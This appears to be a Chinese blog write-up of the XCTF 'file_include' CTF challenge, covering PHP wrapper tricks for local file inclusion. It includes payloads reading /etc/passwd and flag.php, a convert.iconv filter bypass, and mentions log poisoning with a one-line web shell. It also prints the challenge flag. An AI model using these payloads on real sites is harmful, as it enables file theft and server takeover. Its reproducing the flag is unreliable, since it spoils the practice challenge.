攻防世界-file_include（convert.iconv的使用）

代码审计，存在文件包含，直接上伪协议

发现不行，应该是存在字符过滤

知识盲区：

1.file://协议，需要填写绝对路径，只能读取txt文件，后面直接跟绝对路径。

file:///etc/passwd

2.php://filter

(1)String Filters（字符串过滤器）

php://filter/string.rot13/resource=flag.php //读出以后利用ROT13解码即可php://filter/string.toupper/resource=flag.php //转大写php://filter/string.tolower/resource=flag.php //转小写php://filter/string.strip_tags/resource=flag.php //php标签里所有东西都会被去除，html只有标签会被去除，里面的文字不会删除

(2)Conversion Filters（转换过滤器）

php://filter/convert.base64-encode/resource=flag.php //base64加密读出php://filter/convert.quoted-printable-encode/resource=flag.php

convert.iconv.*:

用法：

convert.iconv.<input-encoding>.<output-encoding>
or
convert.iconv.<input-encoding>/<output-encoding>

<input-encoding>和<output-encoding> 就是编码方式，有如下几种：

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*

payload：

?filename=php://filter//convert.iconv.SJIS*.UCS-4*/resource=/var/www/html/flag.php

(3)Compression Filters（压缩过滤器）

payload：

php://filter/zlib.deflate|zlib.inflate/resource=flag.php        //zlib.deflate（压缩）｜zlib.inflate（解压）
or
php://filter/bzip2.compress|bzip2.decompress/resource=flag.php   //bzip2.compress（压缩）|bzip2.decompress（解压）

3.包含日志文件,抓包写入一句话木马，进行getshell 日志文件路径：

(1)/var/log/nginx/access.log(2)/var/log/apache2/access_log

4、iconv函数

完成各种字符集间的转换

$string = "XXXX";

iconv("utf8","gbk",$string) //将字符串string 编码由utf8转变成gbk；

直接访问check.php这个文件里面的内容

/?filename=php://filter/convert.iconv.utf8.utf16/resource=check.php

如果使用括号里面的编码参数会直接提示do not hack！

查看flag.php

注意伪协议里面的编码使用：/?filename=php://filter/convert.iconv.utf8.utf16/resource=flag.php

$flag=cyberpeace{97c7789160615b28e7bb02fc233c4080}

攻防世界-file_include（convert.iconv的使用）相关推荐

攻防世界-file_include
题目访问路径获得源码 <?php highlight_file(__FILE__);include("./check.php");if(isset($_GET['filen ...
【愚公系列】2023年05月攻防世界-Web（file_include）
文章目录前言 1.文件包含漏洞 2.php伪协议 3.php包含漏洞函数一.file_include 1.题目 2.答题总结前言 1.文件包含漏洞文件包含漏洞(File Inclusion ...
攻防世界杂项(misc)--新手练习区(详解十二道题完结，附件做题过程中使用到的各种工具和网站)
攻防世界杂项(misc)–新手练习区(详解) 第一题:this_is_flag 题目描述:Most flags are in the form flag{xxx}, for example:flag{ ...
【愚公系列】2021年11月攻防世界-进阶题-MISC-025(Miscellaneous-200)
文章目录一.Miscellaneous-200 二.答题步骤 1.python 总结一.Miscellaneous-200 文件:攻防世界下载对应文件二.答题步骤 1.python 下载附件得到 ...
攻防世界MISC进阶之misc1
攻防世界MISC进阶之misc1 第一步:分析第二步:实操第三步:答案第一步:分析难度系数: 3星题目来源: DDCTF-2018 题目描述:d4e8e1f4a0f7e1f3a0e6e1f3 ...
攻防世界web新手区合集
攻防世界(xctf)做题合集-get_post- robots-backup-cookie-disabled_button-simple_php-weak_auth-xff_referer-simpl ...
【ics-05 | mfw】攻防世界CTF题WP
攻防世界CTF题WP ics-05 所需知识解题步骤学习知识 php伪协议(文件包含漏洞中使用) preg_place函数 mfw 所需知识解题步骤学习知识 Dirserach工具 GitHa ...
攻防世界fileclude
自学的困难,一个题10个没见过的知识点,唉,太难了... ----------------------------------------------------------------------- ...
攻防世界web高手进阶区ics-05（XCTF 4th-CyberEarth）WriteUp
文章目录解题部分总结: 解题部分题目来源攻防世界web高手进阶区ics-05(XCTF 4th-CyberEarth) 1.拿到题目以后,发现是一个index.php的页面,并且设备-没有显示 ...

攻防世界-file_include（convert.iconv的使用）

攻防世界-file_include（convert.iconv的使用）相关推荐

最新文章

热门文章